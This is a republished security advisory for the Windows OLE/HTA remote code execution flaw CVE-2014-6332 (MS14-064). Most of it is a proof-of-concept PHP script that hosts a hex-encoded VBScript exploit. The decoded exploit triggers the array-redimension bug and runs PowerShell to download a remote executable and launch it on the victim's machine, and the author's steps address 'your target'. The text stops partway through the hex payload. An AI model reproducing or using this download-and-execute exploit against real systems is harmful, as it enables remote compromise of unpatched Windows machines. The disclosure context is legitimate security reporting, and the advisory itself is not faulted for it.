Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)

2015-08-24T00:00:00
ID SECURITYVULNS:DOC:32398
Type securityvulns
Reporter Securityvulns
Modified 2015-08-24T00:00:00

Description

Document Title:

Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1576

Video: http://youtu.be/Vkswz7vt23M

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332

CVE-ID:

CVE-2014-6332

Release Date:

2015-08-15

Vulnerability Laboratory ID (VL-ID):

1576

Common Vulnerability Scoring System:

9.3

Abstract Advisory Information:

The Vulnerability Laboratory discovered remote code execution vulnerability in the Microsoft HTA (HTML Application) - MS14-064.

Vulnerability Disclosure Timeline:

2015-08-15: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Exploitation Technique:

Remote

Severity Level:

High

Technical Details & Description:

OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka Windows OLE Automation Array Remote Code Execution Vulnerability.

Proof of Concept (PoC):

The vulnerbility can be exploited by remote attackers without user interaction or privilege application user accounts. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ... 1 . Run php code : php hta.php 2 . Copy this php output (HTML) and Paste as poc.hta (Replace ip) 3 . Open poc.hta 4 . Your Link Download/Execute on your target 5 . Finished

!/usr/bin/php

<?php # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution # Tested on Windows 7 / Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # MS14-064 # # # 1 . run php code : php hta.php # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip) # 3 . open poc.hta # 4 . Your Link Download/Execute on your target # 5 . Finished # # Demo : http://youtu.be/Vkswz7vt23M #

$port=80; # Port Address
$link=&quot;http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe&quot;; # Your exe link



print &quot;    Mohammad Reza Espargham&#92;n&#92;n&#92;n&quot;;

$host= gethostname&#40;&#41;; #g3th0stn4m3
$ip = gethostbyname&#40;$host&#41;; #g3th0stbyn4m3

print &quot;Winrar HTML Code&#92;n&quot;.&#39;&lt;html&gt;&lt;head&gt;&lt;title&gt;poc&lt;/title&gt;&lt;META http-equiv=&quot;refresh&quot; content=&quot;0;URL=http://&#39; . $ip . &#39;&quot;&gt;&lt;/head&gt;&lt;/html&gt;&#39;.&quot;&#92;n&#92;n&quot;;

$reza = socket_create&#40;AF_INET, SOCK_STREAM, 0&#41; or die&#40;&#39;Failed to create socket!&#39;&#41;;
socket_bind&#40;$reza, 0,$port&#41;;
socket_listen&#40;$reza&#41;;

$msgd =
&quot;&#92;x3c&#92;x68&#92;x74&#92;x6d&#92;x6c&#92;x3e&#92;x0d&#92;x0a&#92;x3c&#92;x6d&#92;x65&#92;x74&#92;x61&#92;x20&#92;x68&#92;x74&#92;x74&#92;x70&#92;x2d&#92;x65&#92;x71&#92;x75&#92;x69&#92;x76&quot;.
&quot;&#92;x3d&#92;x22&#92;x58&#92;x2d&#92;x55&#92;x41&#92;x2d&#92;x43&#92;x6f&#92;x6d&#92;x70&#92;x61&#92;x74&#92;x69&#92;x62&#92;x6c&#92;x65&#92;x22&#92;x20&#92;x63&#92;x6f&#92;x6e&#92;x74&#92;x65&quot;.
&quot;&#92;x6e&#92;x74&#92;x3d&#92;x22&#92;x49&#92;x45&#92;x3d&#92;x45&#92;x6d&#92;x75&#92;x6c&#92;x61&#92;x74&#92;x65&#92;x49&#92;x45&#92;x38&#92;x22&#92;x20&#92;x3e&#92;x0d&#92;x0a&#92;x3c&#92;x68&quot;.
&quot;&#92;x65&#92;x61&#92;x64&#92;x3e&#92;x0d&#92;x0a&#92;x3c&#92;x2f&#92;x68&#92;x65&#92;x61&#92;x64&#92;x3e&#92;x0d&#92;x0a&#92;x3c&#92;x62&#92;x6f&#92;x64&#92;x79&#92;x3e&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x0d&#92;x0a&#92;x3c&#92;x53&#92;x43&#92;x52&#92;x49&#92;x50&#92;x54&#92;x20&#92;x4c&#92;x41&#92;x4e&#92;x47&#92;x55&#92;x41&#92;x47&#92;x45&#92;x3d&#92;x22&#92;x56&#92;x42&#92;x53&#92;x63&quot;.
&quot;&#92;x72&#92;x69&#92;x70&#92;x74&#92;x22&#92;x3e&#92;x0d&#92;x0a&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x72&#92;x75&#92;x6e&#92;x6d&#92;x75&quot;.
&quot;&#92;x6d&#92;x61&#92;x61&#92;x28&#92;x29&#92;x20&#92;x0d&#92;x0a&#92;x4f&#92;x6e&#92;x20&#92;x45&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&quot;.
&quot;&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x73&#92;x65&#92;x74&#92;x20&#92;x73&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x3d&#92;x63&#92;x72&#92;x65&#92;x61&#92;x74&#92;x65&#92;x6f&#92;x62&quot;.
&quot;&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x28&#92;x22&#92;x53&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x2e&#92;x41&#92;x70&#92;x70&#92;x6c&#92;x69&#92;x63&#92;x61&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x22&quot;.
&quot;&#92;x29&#92;x0d&#92;x0a&#92;x63&#92;x6f&#92;x6d&#92;x6d&#92;x61&#92;x6e&#92;x64&#92;x3d&#92;x22&#92;x49&#92;x6e&#92;x76&#92;x6f&#92;x6b&#92;x65&#92;x2d&#92;x45&#92;x78&#92;x70&#92;x72&#92;x65&quot;.
&quot;&#92;x73&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x24&#92;x28&#92;x4e&#92;x65&#92;x77&#92;x2d&#92;x4f&#92;x62&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x20&#92;x53&#92;x79&#92;x73&#92;x74&#92;x65&quot;.
&quot;&#92;x6d&#92;x2e&#92;x4e&#92;x65&#92;x74&#92;x2e&#92;x57&#92;x65&#92;x62&#92;x43&#92;x6c&#92;x69&#92;x65&#92;x6e&#92;x74&#92;x29&#92;x2e&#92;x44&#92;x6f&#92;x77&#92;x6e&#92;x6c&#92;x6f&#92;x61&quot;.
&quot;&#92;x64&#92;x46&#92;x69&#92;x6c&#92;x65&#92;x28&#92;x27&#92;x46&#92;x49&#92;x4c&#92;x45&#92;x5f&#92;x44&#92;x4f&#92;x57&#92;x4e&#92;x4c&#92;x4f&#92;x41&#92;x44&#92;x27&#92;x2c&#92;x27&#92;x6c&quot;.
&quot;&#92;x6f&#92;x61&#92;x64&#92;x2e&#92;x65&#92;x78&#92;x65&#92;x27&#92;x29&#92;x3b&#92;x24&#92;x28&#92;x4e&#92;x65&#92;x77&#92;x2d&#92;x4f&#92;x62&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x20&#92;x2d&quot;.
&quot;&#92;x63&#92;x6f&#92;x6d&#92;x20&#92;x53&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x2e&#92;x41&#92;x70&#92;x70&#92;x6c&#92;x69&#92;x63&#92;x61&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x29&#92;x2e&#92;x53&quot;.
&quot;&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x45&#92;x78&#92;x65&#92;x63&#92;x75&#92;x74&#92;x65&#92;x28&#92;x27&#92;x6c&#92;x6f&#92;x61&#92;x64&#92;x2e&#92;x65&#92;x78&#92;x65&#92;x27&#92;x29&#92;x3b&quot;.
&quot;&#92;x22&#92;x0d&#92;x0a&#92;x73&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x2e&#92;x53&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x45&#92;x78&#92;x65&#92;x63&#92;x75&#92;x74&#92;x65&#92;x20&#92;x22&#92;x70&quot;.
&quot;&#92;x6f&#92;x77&#92;x65&#92;x72&#92;x73&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x2e&#92;x65&#92;x78&#92;x65&#92;x22&#92;x2c&#92;x20&#92;x22&#92;x2d&#92;x43&#92;x6f&#92;x6d&#92;x6d&#92;x61&#92;x6e&quot;.
&quot;&#92;x64&#92;x20&#92;x22&#92;x20&#92;x26&#92;x20&#92;x63&#92;x6f&#92;x6d&#92;x6d&#92;x61&#92;x6e&#92;x64&#92;x2c&#92;x20&#92;x22&#92;x22&#92;x2c&#92;x20&#92;x22&#92;x72&#92;x75&#92;x6e&#92;x61&quot;.
&quot;&#92;x73&#92;x22&#92;x2c&#92;x20&#92;x30&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x3c&#92;x2f&#92;x73&quot;.
&quot;&#92;x63&#92;x72&#92;x69&#92;x70&#92;x74&#92;x3e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x3c&#92;x53&#92;x43&#92;x52&#92;x49&#92;x50&#92;x54&#92;x20&#92;x4c&#92;x41&#92;x4e&#92;x47&#92;x55&quot;.
&quot;&#92;x41&#92;x47&#92;x45&#92;x3d&#92;x22&#92;x56&#92;x42&#92;x53&#92;x63&#92;x72&#92;x69&#92;x70&#92;x74&#92;x22&#92;x3e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x61&#92;x30&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x61&#92;x31&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x61&quot;.
&quot;&#92;x32&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x61&#92;x33&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x77&#92;x69&#92;x6e&#92;x39&#92;x78&quot;.
&quot;&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x69&#92;x6e&#92;x74&#92;x56&#92;x65&#92;x72&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x72&#92;x6e&#92;x64&#92;x61&#92;x0d&#92;x0a&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x6c&#92;x61&#92;x73&#92;x73&#92;x0d&#92;x0a&quot;.
&quot;&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x6d&#92;x79&#92;x61&#92;x72&#92;x72&#92;x61&#92;x79&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x42&#92;x65&#92;x67&#92;x69&#92;x6e&#92;x28&quot;.
&quot;&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x42&#92;x65&#92;x67&#92;x69&#92;x6e&#92;x28&#92;x29&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x4f&#92;x6e&#92;x20&#92;x45&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x69&#92;x6e&#92;x66&#92;x6f&#92;x3d&#92;x4e&#92;x61&#92;x76&#92;x69&#92;x67&#92;x61&#92;x74&#92;x6f&#92;x72&#92;x2e&#92;x55&#92;x73&#92;x65&#92;x72&#92;x41&#92;x67&#92;x65&quot;.
&quot;&#92;x6e&#92;x74&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x69&#92;x66&#92;x28&#92;x69&#92;x6e&#92;x73&#92;x74&#92;x72&#92;x28&#92;x69&#92;x6e&#92;x66&#92;x6f&#92;x2c&#92;x22&quot;.
&quot;&#92;x57&#92;x69&#92;x6e&#92;x36&#92;x34&#92;x22&#92;x29&#92;x3e&#92;x30&#92;x29&#92;x20&#92;x20&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x65&#92;x78&#92;x69&#92;x74&#92;x20&#92;x20&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&quot;.
&quot;&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x69&#92;x66&#92;x20&#92;x28&#92;x69&#92;x6e&#92;x73&#92;x74&#92;x72&#92;x28&#92;x69&#92;x6e&#92;x66&#92;x6f&#92;x2c&#92;x22&quot;.
&quot;&#92;x4d&#92;x53&#92;x49&#92;x45&#92;x22&#92;x29&#92;x3e&#92;x30&#92;x29&#92;x20&#92;x20&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x6e&#92;x74&#92;x56&#92;x65&#92;x72&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x3d&#92;x20&#92;x43&#92;x49&#92;x6e&quot;.
&quot;&#92;x74&#92;x28&#92;x4d&#92;x69&#92;x64&#92;x28&#92;x69&#92;x6e&#92;x66&#92;x6f&#92;x2c&#92;x20&#92;x49&#92;x6e&#92;x53&#92;x74&#92;x72&#92;x28&#92;x69&#92;x6e&#92;x66&#92;x6f&#92;x2c&#92;x20&quot;.
&quot;&#92;x22&#92;x4d&#92;x53&#92;x49&#92;x45&#92;x22&#92;x29&#92;x20&#92;x2b&#92;x20&#92;x35&#92;x2c&#92;x20&#92;x32&#92;x29&#92;x29&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x65&quot;.
&quot;&#92;x6c&#92;x73&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x78&#92;x69&#92;x74&#92;x20&#92;x20&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&quot;.
&quot;&#92;x6e&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x65&quot;.
&quot;&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x77&#92;x69&#92;x6e&#92;x39&#92;x78&#92;x3d&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x42&#92;x65&#92;x67&#92;x69&#92;x6e&#92;x49&#92;x6e&#92;x69&#92;x74&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x49&#92;x66&#92;x20&#92;x43&#92;x72&#92;x65&#92;x61&quot;.
&quot;&#92;x74&#92;x65&#92;x28&#92;x29&#92;x3d&#92;x54&#92;x72&#92;x75&#92;x65&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6d&#92;x79&#92;x61&quot;.
&quot;&#92;x72&#92;x72&#92;x61&#92;x79&#92;x3d&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x31&#92;x29&#92;x26&#92;x63&#92;x68&quot;.
&quot;&#92;x72&#92;x77&#92;x28&#92;x32&#92;x31&#92;x37&#92;x36&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x31&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&quot;.
&quot;&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&quot;.
&quot;&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6d&#92;x79&#92;x61&quot;.
&quot;&#92;x72&#92;x72&#92;x61&#92;x79&#92;x3d&#92;x6d&#92;x79&#92;x61&#92;x72&#92;x72&#92;x61&#92;x79&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&quot;.
&quot;&#92;x72&#92;x77&#92;x28&#92;x33&#92;x32&#92;x37&#92;x36&#92;x37&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&#92;x30&#92;x30&#92;x29&#92;x26&#92;x63&#92;x68&#92;x72&#92;x77&#92;x28&quot;.
&quot;&#92;x30&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x66&#92;x28&#92;x69&#92;x6e&#92;x74&#92;x56&#92;x65&#92;x72&#92;x73&#92;x69&#92;x6f&quot;.
&quot;&#92;x6e&#92;x3c&#92;x34&#92;x29&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x64&#92;x6f&#92;x63&#92;x75&quot;.
&quot;&#92;x6d&#92;x65&#92;x6e&#92;x74&#92;x2e&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x28&#92;x22&#92;x3c&#92;x62&#92;x72&#92;x3e&#92;x20&#92;x49&#92;x45&#92;x22&#92;x29&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x64&#92;x6f&#92;x63&#92;x75&#92;x6d&#92;x65&#92;x6e&#92;x74&#92;x2e&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x28&#92;x69&quot;.
&quot;&#92;x6e&#92;x74&#92;x56&#92;x65&#92;x72&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x75&#92;x6e&quot;.
&quot;&#92;x73&#92;x68&#92;x65&#92;x6c&#92;x6c&#92;x63&#92;x6f&#92;x64&#92;x65&#92;x28&#92;x29&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6c&#92;x73&#92;x65&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x73&#92;x65&#92;x74&#92;x6e&#92;x6f&#92;x74&#92;x73&#92;x61&#92;x66&#92;x65&#92;x6d&#92;x6f&#92;x64&#92;x65&#92;x28&#92;x29&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&quot;.
&quot;&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&quot;.
&quot;&#92;x6f&#92;x6e&#92;x20&#92;x42&#92;x65&#92;x67&#92;x69&#92;x6e&#92;x49&#92;x6e&#92;x69&#92;x74&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x52&#92;x61&#92;x6e&#92;x64&#92;x6f&quot;.
&quot;&#92;x6d&#92;x69&#92;x7a&#92;x65&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x61&#92;x61&#92;x28&#92;x35&#92;x29&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x61&#92;x62&#92;x28&#92;x35&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x61&#92;x30&#92;x3d&#92;x31&#92;x33&quot;.
&quot;&#92;x2b&#92;x31&#92;x37&#92;x2a&#92;x72&#92;x6e&#92;x64&#92;x28&#92;x36&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x61&#92;x33&#92;x3d&#92;x37&#92;x2b&#92;x33&#92;x2a&#92;x72&#92;x6e&quot;.
&quot;&#92;x64&#92;x28&#92;x35&#92;x29&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&quot;.
&quot;&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x43&#92;x72&#92;x65&#92;x61&#92;x74&#92;x65&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x4f&#92;x6e&#92;x20&#92;x45&quot;.
&quot;&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x64&#92;x69&#92;x6d&#92;x20&quot;.
&quot;&#92;x69&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x43&#92;x72&#92;x65&#92;x61&#92;x74&#92;x65&#92;x3d&#92;x46&#92;x61&#92;x6c&#92;x73&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x46&#92;x6f&#92;x72&quot;.
&quot;&#92;x20&#92;x69&#92;x20&#92;x3d&#92;x20&#92;x30&#92;x20&#92;x54&#92;x6f&#92;x20&#92;x34&#92;x30&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x49&#92;x66&#92;x20&#92;x4f&#92;x76&quot;.
&quot;&#92;x65&#92;x72&#92;x28&#92;x29&#92;x3d&#92;x54&#92;x72&#92;x75&#92;x65&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x43&quot;.
&quot;&#92;x72&#92;x65&#92;x61&#92;x74&#92;x65&#92;x3d&#92;x54&#92;x72&#92;x75&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x45&#92;x78&#92;x69&#92;x74&#92;x20&quot;.
&quot;&#92;x46&#92;x6f&#92;x72&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x45&#92;x6e&#92;x64&#92;x20&#92;x49&#92;x66&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&quot;.
&quot;&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x73&#92;x75&#92;x62&#92;x20&#92;x74&quot;.
&quot;&#92;x65&#92;x73&#92;x74&#92;x61&#92;x61&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x73&#92;x75&#92;x62&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&quot;.
&quot;&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x6d&#92;x79&#92;x64&#92;x61&#92;x74&#92;x61&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x6e&#92;x20&#92;x45&quot;.
&quot;&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&quot;.
&quot;&#92;x3d&#92;x74&#92;x65&#92;x73&#92;x74&#92;x61&#92;x61&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x3d&#92;x6e&#92;x75&#92;x6c&#92;x6c&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x32&quot;.
&quot;&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&#92;x29&#92;x3d&#92;x30&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x3d&#92;x69&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&quot;.
&quot;&#92;x29&#92;x3d&#92;x36&#92;x2e&#92;x33&#92;x36&#92;x35&#92;x39&#92;x38&#92;x37&#92;x33&#92;x37&#92;x34&#92;x33&#92;x37&#92;x38&#92;x30&#92;x31&#92;x45&#92;x2d&#92;x33&#92;x31&#92;x34&#92;x0d&quot;.
&quot;&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2b&#92;x32&#92;x29&#92;x3d&#92;x6d&#92;x79&#92;x61&#92;x72&#92;x72&#92;x61&quot;.
&quot;&#92;x79&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x32&#92;x29&#92;x3d&#92;x31&#92;x2e&#92;x37&#92;x34&#92;x30&#92;x38&#92;x38&#92;x35&#92;x33&#92;x34&quot;.
